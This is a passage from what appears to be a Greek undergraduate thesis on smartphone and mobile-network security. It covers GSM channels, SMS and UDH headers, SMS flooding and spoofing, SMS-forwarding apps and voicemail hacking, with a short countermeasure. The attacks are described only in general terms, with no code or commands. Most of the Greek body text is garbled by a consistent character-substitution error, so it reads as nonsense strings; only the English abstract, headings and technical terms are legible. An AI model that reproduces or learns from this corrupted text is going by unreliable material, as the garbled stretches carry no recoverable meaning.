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Abstract 

 

 

This thesis has as a purpose to find, document and confront the vulnerabilities of the modern 

smartphones’ Operating Systems, mostly the two predominant in the market so far. 

It’s main goal is to inform the user of such devices of possible security flaws that may lead to 

the exposure of his own personal information to others.  
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χλνςε 

 

Σν ζέκα ηεο παξαθάησ πηπρηαθήο είλαη ε εχξεζε , πεξηγξαθή θαη αληηκεηψπηζε ησλ ηξσηψλ 

ζεκείσλ ζε έλα ιεηηνπξγηθφ ζχζηεκα ησλ ιεγφκελσλ έμππλσλ θηλεηψλ θαη θπξίσο ησλ 

επηθξαηέζηεξσλ δχν. 

ηφρνο ηεο είλαη ε ελεκέξσζε ηνπ ρξήζηε ζε πηζαλά θελά αζθαιείαο πνπ κπνξνχλ λα 

νδεγήζνπλ ζηελ έθζεζε πξνζσπηθψλ ζηνηρείσλ ζε ηξίηνπο 
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1 
 

1.Ειςαγωγή 
 

 

Ζ θηλεηή ηειεθσλία θαη ε ηερλνινγία ησλ ππνινγηζηψλ είλαη δχν απφ ηνπο πιένλ αλαπηπζζφκελνπο 

θιάδνπο παγθνζκίσο. ζπγρξφλσο νη δχν απηνί θιάδνη ζπγθιίλνπλ θαη ήδε ηα φξηα αλάκεζα ηνπο είλαη 

δπζδηάθξηηα. 

Σα θηλεηά ηειέθσλα ζήκεξα έρνπλ ζηακαηήζεη πιένλ λα είλαη ηειέθσλα κε θάπνηεο πξφζζεηεο 

ιεηηνπξγίεο (θσηνγξαθηθή κεραλή ξαδηφθσλν, ξνιφη, calculator) φπσο ζπλέβαηλε ιίγα ρξφληα πξηλ 

θαη είλαη πιένλ έλαο πιήξεο πξνζσπηθφο ππνινγηζηήο .Οη δπλαηφηεηεο ησλ ζπζηεκάησλ απηψλ είλαη 

ηεξάζηηεο θαη νη δηαζέζηκεο εθαξκνγέο θαζεκεξηλά πνιιαπιαζηάδνληαη. 

Σνλ Ηνχλην ηνπ 2007 ην πξψην iphone έθαλε ηελ εκθάληζε ηνπ ζηηο αγνξέο θαη ην 2008 πσιήζεθε ην 

πξψην θηλεηφ κε ην ιεηηνπξγηθφ ζχζηεκα Android. 

ρεδφλ εθηά ρξφληα έρνπλ αιιάμεη ξηδηθά ηνλ ηξφπν κε ηνλ νπνίν ε πιεηνςεθία επηθνηλσλεί. Σα 

θηλεηά απηά νλνκάζηεθαλ smartphones, θαζφηη πξαθηηθά ελζσκάησλαλ ζην θηλεηφ ηειέθσλν 

ιεηηνπξγίεο (email, browsing, gaming θ.α.) πνπ κέρξη ηφηε γίλνληαλ απφ ηνπο ππνινγηζηέο. Σα δπν 

θχξηα ιεηηνπξγηθά, πνπ πιένλ αληηζηνηρνχλ ζην 85% πεξίπνπ ηεο αγνξάο λέσλ θηλεηψλ, εμειίζζνληαη 

ξαγδαία κε ηελ κία έθδνζε λα πξνζπαζεί λα θαιχςεη αλάγθεο θαη θελά ησλ πξνεγνπκέλσλ.  

Ο ρξήζηεο ησλ ζπζθεπψλ απηψλ ληψζεη απειεπζεξσκέλνο απφ ηελ αλάγθε ηνπ ειεθηξνληθνχ ηνπ 

ππνινγηζηή γηα ηηο απιέο θαζεκεξηλέο ιεηηνπξγίεο. Σα ιεηηνπξγηθά ζπζηήκαηα είλαη πιένλ 

«ιεηηνπξγηθά» Δίλαη φκσο αζθαιή, ιακβάλνληαο ππφςε φηη ε ρξήζε ηνπο γίλεηαη αθφκα θαη ζε 

δεκφζηα δίθηπα, θαζψο επίζεο πσο έλα κεγάιν κέξνο πξνζσπηθψλ αιιά θαη ηδηαίηεξα επαίζζεησλ 

δεδνκέλσλ απνζεθεχνληαη πνιιέο θνξέο ζην θηλεηφ ή ρξεζηκνπνηνχληαη απφ ηηο δηάθνξεο 

εθαξκνγέο; Παξαδείγκαηνο ράξηλ πφζν αζθαιέο είλαη λα πιεξψλεη θάπνηνο κέζσ i-banking app ηνπ 

θηλεηνχ; θνπφο ηεο πηπρηαθήο εξγαζίαο απηήο είλαη λα κειεηήζεη ην θαηά πφζν ε αζθάιεηα ελφο 

smartphone είλαη επαξθήο γηα ηνλ ρξήζηε ηνπ. 

 

Αλακθίβνια ππάξρνπλ πνιιά θελά ζηελ αζθάιεηα  ησλ ζπζηεκάησλ πνπ ρξεζηκνπνηνχκε  θαη 

ζπλερψο «αλαθαιχπηνληαη» λέεο αδπλακίεο. Έηζη ηα δεδνκέλα βξίζθνληαη ζ’ έλα πεξηβάιινλ πνπ 

δηαηξέρεη ζπλερψο θηλδχλνπο παξαβίαζεο απφ επηηήδεηνπο πνπ πξνζπαζνχλ  λα εθκεηαιιεπηνχλ ηα 

θελά αζθάιεηαο. Δπηζέζεηο ζεκεηψλνληαη θαζεκεξηλά ρσξίο πνιιέο θνξέο ηα «ζχκαηα» λα ην 

αληηιακβάλνληαη.  

 

Ζ αζθάιεηα δηθηχνπ δελ βαζίδεηαη ζε κία κέζνδν,  αιιά ρξεζηκνπνηεί έλα ζχλνιν θξαγκψλ πνπ 

ππεξαζπίδνληαη ηα δεδνκέλα καο κε δηάθνξνπο ηξφπνπο. Αθφκα θαη αλ κηα  ιχζε απνηχρεη, νη 

ππφινηπεο εμαθνινπζνχλ λα είλαη ελεξγέο, πξνθπιάζζνληαο καο απφ δηάθνξεο επηζέζεηο κέζσ 

δηθηχνπ. Υσξίο εγθαηεζηεκέλε αζθάιεηα δηθηχνπ, ηα ζπζηήκαηά καο δηαηξέρνπλ θίλδπλν 

παξείζθξεζεο απφ κε εμνπζηνδνηεκέλνπο ρξήζηεο, δηαθνπήο ιεηηνπξγίαο ηνπ δηθηχνπ, δηαθνπήο 

ππεξεζηψλ, αθφκα θαη λνκηθήο δίσμεο ελψ παξάιιεια είλαη δπλαηή ε θινπή θαη θαηάρξεζε 

απφξξεησλ επηρεηξεκαηηθψλ αιιά θαη πξνζσπηθψλ πιεξνθνξηψλ.  

 

ην ζεκείν απηφ αμίδεη λα ζεκεησζεί φηη φπσο νη ηερλνινγίεο, νη ππεξεζίεο θαη ηα πξσηφθνιια πνπ 

ρξεζηκνπνηνχληαη ζηα δίθηπα εμειίζζνληαη, κε παξφκνην ξπζκφ απνθαιχπηνληαη λέεο αδπλακίεο πνπ 

αθνξνχλ ηελ αζθάιεηά ηνπο. Γη’ απηφ ην ιφγν πξέπεη λα  βξηζθφκαζηε ζε ζπλερή επαγξχπλεζε θαη λα 

ελεκεξσλφκαζηε ψζηε λα εθαξκφδνπκε ηελ φζν δπλαηφλ κεγαιχηεξε αζθάιεηα.  
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2.Δίκτυα κινητήσ τηλεφωνίασ – Βαςική  περιγραφή - δομή 

Ζητήματα αςφάλειασ πληροφοριών– Τρωτότητα 
 

 

 

Γηα λα γίλεη θαηαλνεηφ πνηνη είλαη νη πηζαλνί θίλδπλνη ζε ζρέζε κε ηελ αζθάιεηα ησλ δηθηχσλ 

θηλεηήο ηειεθσλίαο ζα πξέπεη λα θαηαλνήζνπκε ηηο βαζηθέο δνκέο ησλ δηθηχσλ απηψλ  (GSM θαη 

CDMA). Σα βαζηθά κέξε πνπ ζπλζέηνπλ έλα ηέηνην ζχζηεκα είλαη: 

 Ζ ζπζθεπή ηνπ ζπλδξνκεηή , 

 Σν ππνζχζηεκα ησλ ζηαζκψλ βάζεο θαη  

 Ο θνξκφο ηνπ δηθηχνπ ηνπ παξφρνπ θηλεηψλ ππεξεζηψλ.  

ην ζρήκα πνπ αθνινπζεί παξνπζηάδνληαη πην αλαιπηηθά ηα βαζηθά απηά κέξε θαη ηα ππνζπζηήκαηα 

πνπ ηα απνηεινχλ. 

 
Εηθόλα 1 Δνκή Δηθηύνπ θηλεηήο Σειεθσλίαο 

  

Ζ ζπζθεπή ηνπ ζπλδξνκεηή ζπλδέεηαη κε ην ζηαζκφ βάζεο –κέζσ ηνπ Um interface. Ο ζηαζκφο 

βάζεο απνηειείηαη απφ ην θαζαξά αζπξκαηηθφ πιηθφ εθπνκπήο θαη ιήςεο (θεξαίεο πνκπνδέθηεο) θαη 

δπν θχξηα ππνζπζηήκαηα ην BSC (Base Station Controller) πνπ ζρεηίδεηαη κε θσλή αιιά θαη ηνλ 

έιεγρν θαη ην Packet Control Unit (PCU) πνπ δηαρεηξίδεηαη ηελ θίλεζε ΗΡ.  

Δπεηδή θάζε ζηαζκφο  βάζεο επηθνηλσλεί κε έλα κεγάιν αξηζκφ ηεξκαηηθψλ ε ρξεζηκνπνηνχκελε 

ηερληθή πνιππιεμίαο είλαη ε TDMA (Time Division multiplexing Access). Ο έιεγρνο ηεο 

επηθνηλσλίαο, κε ηελ αληηζηνίρεζε ελφο ηεξκαηηθνχ ζε θάζε ρξνλνζπξίδα (time slot) γίλεηαη απφ ην 

BSC (Base Station Controller) πνπ απνηειεί ην «επθπέο» κέξνο ηνπ ζηαζκνχ βάζεο. Ζ επηθνηλσλία 

ηνπ ηεξκαηηθνχ κε ην ζηαζκφ βάζεο αθνξά θαη ηε δηαθηλνχκελε πιεξνθνξία αιιά θαη ηελ 

πιεξνθνξία ειέγρνπ ηνπ ζπζηήκαηνο.  
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ηαλ έλαο ζπλδξνκεηήο επηζπκεί λα πξαγκαηνπνηήζεηε κηα θιήζε, ή λα ζηείιεη έλα κήλπκα 

θεηκέλνπ, ε θηλεηή ζπζθεπή αθξνάηαη πέληε ή έμη θαλάιηα εθπνκπήο, ζηέιλεη κεξηθά κελχκαηα ζηνλ 

ειεγθηή ηνπ ζηαζκνχ βάζεο, θαη είλαη πνιχ πηζαλφ κε πξνηξνπή ηνπ λα αιιάμεη ηε ζπρλφηεηα ιήςεο 

αξθεηέο θνξέο. Σν θπςεινεηδέο δίθηπν βαζίδεηαη ζε κηα ζεηξά απφ ηερληθέο γηα λα εμππεξεηνχληαη 

έλαο αξηζκφο ηεο ηάμεο ησλ 500 ζπλδξνκεηψλ κέζα ζε κηα θπςέιε. Ζ θχξηα ηερληθή είλαη λα 

ρσξίζνπκε ην ξαδηνθάζκα ζε θαλάιηα γηα ηνλ έιεγρν, δεδνκέλσλ θαη θσλήο. 

ην ζρήκα πνπ αθνινπζεί βιέπνπκε ηελ πνιππινθφηεηα ησλ θαλαιηψλ ειέγρνπ ηνπ ζπζηήκαηνο 

GSM. Σα βέιε ζην ζρήκα δείρλνπλ κνλνθαηεπζπληηθφηεηα δειαδή θαλάιη κε έλα βέινο ζε κία κφλν 

θαηεχζπλζε είλαη "κφλν γηα αλάγλσζε" θαη ζπλήζσο πεξηέρεη πιεξνθνξίεο θαηάζηαζεο. Σα θαλάιηα 

απηά δελ πξνζθέξνπλ «ρξεζηκφηεηα» ζηελ πεξίπησζε πνπ θάπνηνο ζα ήζειε λα παξέκβεη ζην 

πεξηερφκελν ηνπ θηλεηνχ αιιά ζα αξθνχζε θάπνηνο λα θαηαζηξέςεη ηελ πιεξνθνξία πνπ ζηέιλνπλ 

θαη λα θάλεη αδχλαηε ηελ επηθνηλσλία (πρ jammer). 

 
Εηθόλα 2 Λνγηθά θαλάιηα ζην GSM 

 

2.1 Το Κανάλι Ελέγχου Εκπομπήσ: Γνωριμία με το Δίκτυο  

 

ηαλ κηα ζπζθεπή θηλεηνχ ελεξγνπνηεί γηα πξψηε θνξά, ζα πξέπεη λα απνθαηαζηήζεη επαθή κε έλα 

δίθηπν κέζσ ηνπ πιεζηέζηεξνπ ζηαζκνχ βάζεο. Αξρίδεη λα ιακβάλεη δηάθνξεο ζπρλφηεηεο (πνπ 

γλσξίδεη, ράξε ζηηο δηεζλείο ζπλζήθεο θαη ζπκθσλίεο θάζκαηνο). πλήζσο, ην πξψην πξάγκα πνπ έλα 

ηειέθσλν "αθνχεη" ζα είλαη ην BCCH (Broadcast Control Channel) ή ην Καλάιη Διέγρνπ Δθπνκπήο. 

Σν BCCH πεξηέρεη πιεξνθνξίεο πνπ επηηξέπνπλ ζηελ θηλεηή ζπζθεπή λα ζπγρξνλίζεη θαη λα 

θαηαιάβεη ζε πνην δίθηπν ζπλδέεηαη, καδί κε ηα ραξαθηεξηζηηθά ηνπ (φπσο θαη νη ηαπηφηεηεο ησλ 

γεηηνληθψλ θπςειψλ θαη ηηο πιεξνθνξίεο ηνπ θαλαιηνχ) θαζψο θαη πνηνο ζηαζκφο BTS ην εμππεξεηεί. 

Ζ θηλεηή ζπζθεπή, ζηε ζπλέρεηα, γλσξίδεη πψο λα έρνπλ πξφζβαζε ζην RACH, ή Random Access 

Channel. Σν RACH είλαη νπζηαζηηθά ην πξψην ζηάδην ζε έλα GSM “handshaking” κεηαμχ θηλεηήο 

ζπζθεπήο θαη ελφο BTS. Σν RACH θαηαιαβαίλεη πψο ην θηλεηφ δεηά πιεξνθνξίεο γηα λα εληαρζεί 

έλα ζπγθεθξηκέλν θχηηαξν εληφο ηνπ θπςεινεηδνχο δηθηχνπ. Μφιηο ην θηλεηφ απνζηείιεη αίηεκα γηα 

δηάζεζε θαλαιηνχ κέζσ ηνπ RACH, ν BTS πξνζπαζεί λα εμππεξεηήζεη ην αίηεκα. Αλ ν BTS έρεη 

ειεπζέξα slots  (δηαζέζηκε ρσξεηηθφηεηα), εθρσξεί έλα θαλάιη ειέγρνπ, ην νπνίν νλνκάδεηαη 

Standalone Dedicated Control Channel (SDCCH)), ζηελ θηλεηή ζπζθεπή. Ο BTS ελεκεξψλεη ηελ 
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θηλεηή ζπζθεπή γηα απηή ηελ εθρψξεζε, κέζσ ηνπ Access Granted Channel (AGCH). Μφιηο ε θηλεηή 

ζπζθεπή έρεη ιάβεη SDCCH, είλαη κέινο ηνπ δηθηχνπ θαη κπνξεί λα δεηήζεη απηφ πνπ είλαη γλσζηφ 

σο κηα ελεκέξσζε ηνπνζεζίαο (location update). 

LocationUpdate 

Ζ δηαδηθαζία location update ζεκαίλεη φηη ε θηλεηή ζπζθεπή ζαο έρεη ελεκεξψζεη ην δίθηπν GSM ζε 

πνηα πεξηνρή βξίζθεηαη. Δπίζεο, φηη ε θηλεηή ζπζθεπή έρεη ήδε πξαγκαηνπνηήζεη έιεγρν ηαπηφηεηαο 

κε ην δίθηπν. ιε ε δηαδηθαζία ζηε ρξνληθή δηάξθεηα ελφο δεπηεξνιέπηνπ πεξίπνπ, αλάινγα κε ην 

θφξην ηνπ δηθηχνπ θαη ηελ πνηφηεηα ησλ ξαδηνδηαχισλ ηνπ θπηηάξνπ. 

πλήζσο, ε δηαδηθαζία απηή γίλεηαη, πξηλ ν ζπλδξνκεηήο λα έρεη ηελ επθαηξία λα μεθιεηδψζεη ην 

ηειέθσλφ ηνπ. Ζ πιεξνθνξία ηνπνζεζίαο ελεκεξψλεη ην Home Location Register (HLR)-κηα βάζε 

δεδνκέλσλ ζπλδξνκεηψλ γηα ηελ ηξέρνπζα γεσγξαθηθή πεξηνρή πνπ βξίζθεηαη ε ζπζθεπή εληφο 

ζπλδξνκεηή. Πξνθαλψο ελεκεξψλεηαη  αληίζηνηρα θαη, ην θηλεηφ θέληξν κεηαγσγήο, ή MSC.  

Απφ ηε ζηηγκή πνπ ε θηλεηή ζπζθεπή έρεη εθηειέζεη κηα δηαδηθαζία location update, ν ειεγθηήο 

ζηαζκνχ βάζεο δεηά απφ ηελ θηλεηή ζπζθεπή γηα λα κπεη ζε δηαδηθαζία «χπλνπ» θαη απνδεζκεχεη 

ηελ SDCCH πνπ είρε απνδνζεί κφιηο πξηλ απφ ιίγα δεπηεξφιεπηα. Με ηελ ηερληθή απηή 

κεγηζηνπνηείηαη ε επαλαρξεζηκνπνίεζε ησλ δηαχισλ θαη ε ηθαλφηεηα ησλ  θπηηάξσλ κε πνιινχο 

ρξήζηεο, λα εμαζθαιίζνπλ φηη  νη ρξήζηεο απνιακβάλνπλ αμηνπξεπή πνηφηεηα ησλ παξερφκελσλ 

ππεξεζηψλ. 

 

 

2.2 Υπηρεςία ςύντομων μηνυμάτων SMS  
 

Ζ ππεξεζία κελπκάησλ SMS είλαη κηα απφ ηηο πην ελδηαθέξνπζεο θαη πιένλ ρξεζηκνπνηνχκελεο 

δπλαηφηεηεο ησλ δηθηχνπ θηλεηήο ηειεθσλίαο, ε δπλαηφηεηα απηή δελ πξνβιεθηεί εμ αξρήο ζην 

ζχζηεκα GSM θαη πξνζηέζεθε ζηε ζπλέρεηα. 

Σν ζχζηεκα SMS είλαη ζηελ πξαγκαηηθφηεηα επηθαζήκελν ζην θαλάιη ειέγρνπ γηα ηα θηλεηά 

ηειέθσλα, ην θαλάιη ειέγρνπ πνπ αξρηθά δεκηνπξγήζεθε γηα λα απνθαζηζηά ή λα ηεξκαηίδεη ηηο 

θιήζεηο, θαη δηαρεηξίδεηαη ηελ θαηαλνκή ξαδηνζπρλνηήησλ ηνπ δηθηχνπ πξφζβαζεο.  

Ζ εθ ησλ πζηέξσλ απηή πξνζζήθε ηεο ππεξεζίαο SMS κπνξεί λα δεκηνπξγήζεη θαη ηελ εληχπσζε 

ηξσηφηεηαο ηνπ ζπζηήκαηνο GSM κε ηελ απνζηνιή ελφο ηεξάζηηνπ αξηζκνχ κελπκάησλ "SMS 

flooding attack" (smsanalysis.org). 

Γεδνκέλνπ φηη ην θαλάιη δηαλνκήο SMS αληαγσλίδεηαη θπζηθά ην θαλάιη ειέγρνπ, θάπνηνο ζα 

κπνξνχζε λα ζεσξήζεη φηη αλ έλαο εηζβνιέαο ήηαλ ζε ζέζε λα ζηείιεη έλα ηεξάζηην αξηζκφ SMS 

κελπκάησλ, ηεο ηάμεο ησλ εθαηνληάδσλ αλά δεπηεξφιεπην  απηά ζα θαηαθιχζνπλ έλα θχηηαξν 

πξνθαιψληαο αδπλακία ζην λα αληαπνθξηζεί ζηηο ππνρξεψζεηο ηνπ. ηελ πξάμε βέβαηα νη 

θαηαζθεπαζηέο ηνπ ζπζηήκαηνο έρνπλ αληηκεησπίζεη ην δήηεκα.- 

Σα κελχκαηα SMS απνζηέιινληαη κέζσ ελφο δεπγαξηνχ ησλ ινγηθψλ θαλαιηψλ ειέγρνπ πνπ 

πεξηγξάθεηαη ζην ρήκα 2-3 . πλήζσο , ηα κελχκαηα παξαδίδνληαη είηε κε ρξήζε ηνπ θαλαιηνχ 

SDCCH φηαλ ν ρξήζηεο δελ ζπλνκηιεί ηελ ζηηγκή ηεο απνζηνιήο, ή κε ρξήζε ηνπ θαλαιηνχ Slow 

associated  Control Channel  ( SACCH ) αλ ν ρξήζηεο ηπραίλεη λα κηιάεη θαηά ηε ρξνληθή ζηηγκή 

απνζηνιήο ηνπ κελχκαηνο. Με βάζε ην ξπζκφ ιεηηνπξγίαο ησλ θαλαιηψλ απηψλ (0,6 kbit/sec έσο 2,4 

kbit/sec) ρξεηάδνληαη πεξίπνπ 0,07 έσο 0,27 δεπηεξφιεπηα γηα λα ζηαιεί έλα κήλπκα 160 ραξαθηήξσλ 

ζε κηα θηλεηή ζπζθεπή . 

 

Οη ζρεδηαζηέο ηνπ ζπζηήκαηνο πξνθεηκέλνπ λα δηαηεξήζνπλ ηελ αμηνπηζηία θαη ηελ θαιή ιεηηνπξγία 

ηνπ δηθηχνπ, απνθάζηζαλ έγθαηξα φηη ηα κελχκαηα SMS ζα απνζηέιινληαη ζε ζπγθεθξηκέλα ρξνληθά 

πεξηζψξηα θαη κε ηεξάξρεζε. Σν θαζήθνλ απηφ εμαζθαιίδεηαη απφ ηα Κέληξα Δμππεξέηεζεο SMS , ή 

SMSCs. Απηά θέξνπλ ην θχξην βάξνο δηαρείξηζεο ηνπ θνξηίνπ, φηαλ πξνθχςεη κηα θαηαηγίδα 

κελπκάησλ SMS φπσο ζπρλά ζπκβαίλεη θαηά ηε δηάξθεηα αζιεηηθψλ εθδειψζεσλ, θαηά ηε δηάξθεηα 

πεξηζηαηηθψλ έθηαθηεο αλάγθεο, γηνξηέο θιπ. Σα θέληξα απνζηνιήο κελπκάησλ εμαζθαιίδνπλ φηη ηα 
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κελχκαηα θεηκέλνπ ζπαλίσο δεκηνπξγνχλ πξνβιήκαηα κε ηελ εθθίλεζε ή απφιπζε  θιήζεο. 

Γηα λα ππάξμνπλ πξνβιήκαηα φπσο απηά ζεσξήζεθε φηη ζα κπνξνχζε λα εκθαληζζνχλ ζα πξέπεη λα 

παξαθακθζεί ην SMS Service Center ( SMSC ) θάηη πνπ δελ είλαη εθηθηφ. 

Έλα κφλν δεπγάξη ησλ θέληξσλ δεδνκέλσλ SMSCs θαη δηαρεηξίδεηαη έλαλ ηεξάζηην φγθν δεδνκέλσλ 

ζε εζληθφ επίπεδν .Σν έξγν βέβαηα ελφο SMMC είλαη ζρεηηθά απιφ ιακβάλεη ην κήλπκα , αλαγλσξίδεη 

ηνλ ηειεθσληθφ αξηζκφ ηνπ παξαιήπηε, βξίζθεη ηε ζέζε ηνπ ζπγθεθξηκέλνπ αξηζκνχ ηειεθψλνπ θαη 

ην ζηαζκφ βάζεο πνπ ην εμππεξεηεί  θαη απνζηέιιεη  ην κήλπκα γηα ηελ παξάδνζε . 

Ζ ππεξεζία απνζηνιήο κελπκάησλ SMS έρεη έλα αθφκα ελδηαθέξνλ ραξαθηεξηζηηθφ, δελ είλαη κφλν 

γηα ηελ απνζηνιή γξαπηψλ κελπκάησλ. Πξηλ ιίγα ρξφληα, κε ρξήζε ησλ Java Mobile Information 

Device Profile ( MIDP ) θαη Connected Limited Device configuration ( CLDC) ήηαλ δπλαηφλ λα 

ιάβεηε έλα εηδηθά δηακνξθσκέλν κήλπκα θεηκέλνπ, κε User Data Header (UDH) πνπ θαζνξίδεη 

ζπγθεθξηκέλε ζχξα γηα λα θαηεπζχλεη ην κήλπκα. Απηφο ήηαλ ν ηξφπνο κε ηνλ νπνίν ε Java 

πινπνηείηαη κε ηελ απνζηνιή κελπκάησλ αλά εθαξκνγή, θαη απφ ηερληθή άπνςε  ήηαλ αξθεηά θαιφο.  

Υξεζηκνπνηήζεθε ε ππάξρνπζα ππνδνκή SMS, ρξεζηκνπνηήζεθε έλα απιφ ηέρλαζκα  γηα ηνλ 

πξνζδηνξηζκφ ησλ εθαξκνγψλ («ζχξεο», πνπ κνηάδνπλ κε ηηο ζχξεο TCP ή UDP) θαη ήηαλ 

πξνζβάζηκε εχθνια απφ νπνηαδήπνηε εθαξκνγή θαη ρσξίο εηδηθέο βηβιηνζήθεο ή άιιεο απαηηήζεηο. 

 

Σα κελχκαηα SMS είλαη ζηελ πξαγκαηηθφηεηα έλαο κεραληζκφο πνιιαπιψλ ρξήζεσλ γηα ζχληνκε 

επηθνηλσλία φρη κφλν κεηαμχ ηνπ ρξήζηε θαη άιισλ ρξεζηψλ, αιιά θαη ζηνηρείσλ ηνπ δηθηχνπ κε κηα 

θηλεηή ζπζθεπή ή κεηαμχ θηλεηψλ ζπζθεπψλ (φπσο εθαξκνγέο Java peer to peer). Σν UDH  είλαη 

γεληθά ην πιένλ ρξήζηκν extension header  ζε κελχκαηα SMS, θαη πεξηιακβάλεη πνιιέο δπλαηφηεηεο 

ραξαθηεξηζηηθά: 

• Αιιαγή απάληεζεο ζε αξηζκφ ηειεθψλνπ ( UDH 22 ) 

• ζπλέλσζεο Μήλπκα ( UDH 08 ) 

 • Ζ έλδεημε Ρπζκίζεηο κελπκάησλ -video , θσλήο , SMS, email , fax ( UDH 01 ) 

 • Ported κήλπκα SMS ( UDH 05 ) 

  

Σα κελχκαηα SMS έρνπλ αλαπηπρζεί θαη εμειηρζεί κε ηελ πάξνδν ηνπ ρξφλνπ, θαη είλαη γεγνλφο φηη 

ππήξμαλ, θαη παξακέλνπλ, έλα ηζρπξφ εξγαιείν ζε δίθηπα θηλεηήο ηειεθσλίαο. Αλ νη θαηαζθεπαζηέο 

ζπζθεπψλ θαη νη πάξνρνη δηθηχνπ δελ είλαη πξνζεθηηθνί ζε ζρέζε κε ηα κελχκαηα SMS απηά 

κπνξνχλ κε θαθφβνπιε ρξήζε λα πξνθαιέζνπλ κεγάια πξνβιήκαηα ζηελ θαιή ιεηηνπξγία ησλ 

ζπζθεπψλ  

Πξηλ αξθεηά ρξφληα, έλαο θαηαζθεπαζηήο ηειέθσλνπ απνθάζηζε λα επηηξέςεη «κελχκαηα 

δηακφξθσζεο» πνπ κπνξνχλ λα απνζηέιινληαη ζε ζπζθεπέο. Δπεηδή ε ζπζθεπή ππάθνπε ηπθιά ηηο 

νδεγίεο ξχζκηζεο πνπ επέβαιε ην κήλπκα, νη επηηηζέκελνη ζα κπνξνχζαλ εχθνια λα εηζάγνπλ 

ιαλζαζκέλεο ξπζκίζεηο ζηηο θηλεηέο ζπζθεπέο, εθφζνλ γλψξηδαλ ηνλ αξηζκφ ηειεθψλνπ ηνπ ζχκαηνο. 

εκεηψλνπκε φηη έλα κήλπκα SMS , ζε γεληθέο γξακκέο, δελ έρεη ηαπηφηεηα, θαη δελ ππφθεηηαη ζε 

έιεγρν ηεο αθεξαηφηεηαο, θαη ε εκπηζηεπηηθφηεηα ηνπ είλαη κεδεληθή.  

Ο θαζέλαο έρεη ηε δπλαηφηεηα λα ζαο ζηείιεη έλα κήλπκα θεηκέλνπ . Αθφκα θη αλ νη πάξνρνη ησλ 

θηλεηψλ δηθηχσλ θηιηξάξνπλ ζπγθεθξηκέλνπο ηχπνπο κελπκάησλ θαη ραξαθηεξηζηηθψλ, (φπσο ην 

header UDH), εμαθνινπζνχλ λα ππάξρνπλ δπλεηηθά εθαηνκκχξηα άλζξσπνη πνπ κπνξνχλ λα 

παξέκβνπλ ζηελ θηλεηή ζπζθεπή θαη ελδερφκελα ζην νηθηαθφ ζαο δίθηπν. 

Έλα θελφ αζθαιείαο έρεη αληρλεπζεί ζην ιεηηνπξγηθφ ησλ iphones iOS θαη ζρεηίδεηαη κε ηα κελχκαηα 

SMS. Με θαηάιιειν UDH ησλ κελπκάησλ είλαη δπλαηφλ λα απνθξχπηεηαη ν πξαγκαηηθφο 

απνζηνιέαο ηνπ κελχκαηνο θαη λα αληηθαζίζηαηαη κε ηνλ αξηζκφ πνπ πξέπεη λα ζηαιεί ε απάληεζε 

("reply-to "). Έλαο θαθφβνπινο ζα κπνξνχζε λα ζηείιεη έλα κήλπκα πνπ θαίλεηαη λα πξνέξρεηαη απφ 

ηελ ηξάπεδα ηνπ παξαιήπηε δεηψληαο θάπνηα πξνζσπηθά ζηνηρεία , ή θαιψληαο ηνπο λα πάλε ζε 

εηδηθφ δηθηπαθφ ηφπν. [Phishing] (αλαιπηηθφηεξε πεξηγξαθή ζην: pod2g.org/2012/08/ never-trust-

sms-ios-text-spoofing.html). 

Δίλαη επίζεο δπλαηφλ εθαξκνγέο (privileged ή nonprivileged) ζε smartphones λα δεκηνπξγνχλ θαη λα 
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ηα απνζηέιινπλ κελχκαηα SMS απφ κφλεο ηνπο ρσξίο ηε γλψζε θαη ηελ ζέιεζε ηνπ ρξήζηε. Γηα 

παξάδεηγκα, ζα κπνξνχζε έλαο εηζβνιέαο κε ηελ εγθαηάζηαζε κηαο εθαξκνγήο ζην ηειέθσλφ 

θάπνηνπ λα πξνσζεί ηα απζεληηθά θείκελα SMS ζην δηθφ ηνπ inbox. (Αλαιπηηθφηεξε πεξηγξαθή ζην: 

bitdefender.com/ security/android-vulnerability-opens-door-to-sms- phishing-scams.html). 

 

 

2.3 Επιθέςεισ και αντιμετώπιςη 
Μεηά ηελ εμέηαζε, βαζηθψλ ραξαθηεξηζηηθψλ ηνπ θπςεινεηδνχο δηθηχνπ θηλεηήο ηειεθσλίαο (κε 

εζηίαζε ζε ζέκαηα ηξσηφηεηαο ηνπο), εμεηάδνπκε νξηζκέλεο πεξηπηψζεηο επηζέζεσλ -πξνζβνιήο θαη 

κεζφδσλ αληηκεηψπηζεο. 

 

Hacking Mobile Voicemail 

 

Δίλαη γλσζηή ε πεξίπησζε ηεο εθεκεξίδαο News of the World φπνπ απέθηεζε παξάλνκε πξφζβαζε 

ζηνπο ινγαξηαζκνχο ηειεθσλεηή ησλ αλζξψπσλ ζην Ζλσκέλν Βαζίιεην. (Σν έηνο 2011 

δηαπηζηψζεθε παξάλνκε πξφζβαζε ζην voicemail θηλεηνχ δνινθνλεκέλεο καζήηξηαο, ζπγγελψλ 

βξεηαλψλ ζηξαηησηηθψλ θαζψο θαη ζπκάησλ βνκβηζηηθήο επίζεζεο ζην Λνλδίλν).  

Απνδεηθλχεηαη φκσο φηη (αθφκε θαη ζήκεξα) νη πεξηζζφηεξνη πάξνρνη θηλεηήο επηηξέπνπλ λα 

ξπζκίζεηε ηνπο ινγαξηαζκνχο Voicemail, κε ρξήζε θνηλψλ πξνεπηινγψλ, ρσξίο θάπνηα επηθχξσζε 

αξθνχκελνη ζε κηα θιήζε απφ ηνλ αληίζηνηρν αξηζκφ ηνπ θηλεηνχ ηειεθψλνπ, ρσξίο ππνρξεσηηθή 

ρξήζε θσδηθνχ πξφζβαζεο voicemail. 

ην δηαδίθηπν ππάξρνπλ εθαξκνγέο πνπ κε έλα κηθξφ πνζφ επηηξέπνπλ απηή ηελ πξφζβαζε απφ 

νπνηνλδήπνηε ππνινγηζηή. 

Ο John Keefe πεξηγξάθεη ηελ πεξίπησζε ζην: wnyc.org/articles/wnyc-news/2011/jul/18/hacking-

voicemails-scary-easy-i-did-it/. 

 

Αληηκεηώπηζε ηνπ Voicemail hack 

 

Θα πξέπεη πάληα λα ρξεζηκνπνηείηαη θσδηθφο πξφζβαζεο ζηνλ ηειεθσλεηή (φρη εχθνια πξνβιέςηκνο 

αιιά κε εχινγε πνιππινθφηεηα), θαη λα ξπζκίζεηε ηελ πξφζβαζε, ψζηε λα απαηηείηαη θσδηθφο ζε 

φιεο ηηο πεξηπηψζεηο (αθφκε θαη φηαλ θαιείηε απφ ην δηθφ ζαο ηειέθσλν!). .. 

 

Κινητέσ ςυςκευέσ Rogue  

 

